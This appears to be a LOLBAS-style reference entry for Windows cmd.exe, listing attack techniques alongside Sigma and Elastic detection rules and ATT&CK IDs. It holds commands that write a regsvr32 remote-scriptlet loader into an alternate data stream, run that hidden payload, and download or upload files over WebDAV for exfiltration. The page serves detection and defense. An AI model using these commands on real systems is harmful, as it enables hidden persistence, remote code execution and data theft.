.. /Cmd.exe
Star

Alternate data streams

The command-line interpreter in Windows

Paths:

C:\Windows\System32\cmd.exe
C:\Windows\SysWOW64\cmd.exe

Resources:

Acknowledgements:

r0lan (@yeyint_mth)
Mr.0range (@mr_0rng)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
Elastic: https://github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
IOC: cmd.exe executing files from alternate data streams.
IOC: cmd.exe creating/modifying file contents in an alternate data stream.

Alternate data streams

Add content to an Alternate Data Stream (ADS).
```
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat
```
Use case
Can be used to evade defensive countermeasures or to hide as a persistence mechanism

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1564.004
Execute payload.bat stored in an Alternate Data Stream (ADS).
```
cmd.exe - < {PATH}:payload.bat
```
Use case
Can be used to evade defensive countermeasures or to hide as a persistence mechanism

Privileges required
User

Operating systems
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1059.003

Download

Downloads a specified file from a WebDAV server to the target file.
```
type {PATH_SMB} > {PATH_ABSOLUTE}
```
Use case
Download/copy a file from a WebDAV server

Privileges required
User

Operating systems
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1105

Upload

Uploads a specified file to a WebDAV server.
```
type {PATH_ABSOLUTE} > {PATH_SMB}
```
Use case
Upload a file to a WebDAV server

Privileges required
User

Operating systems
Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

ATT&CK® technique
T1048.003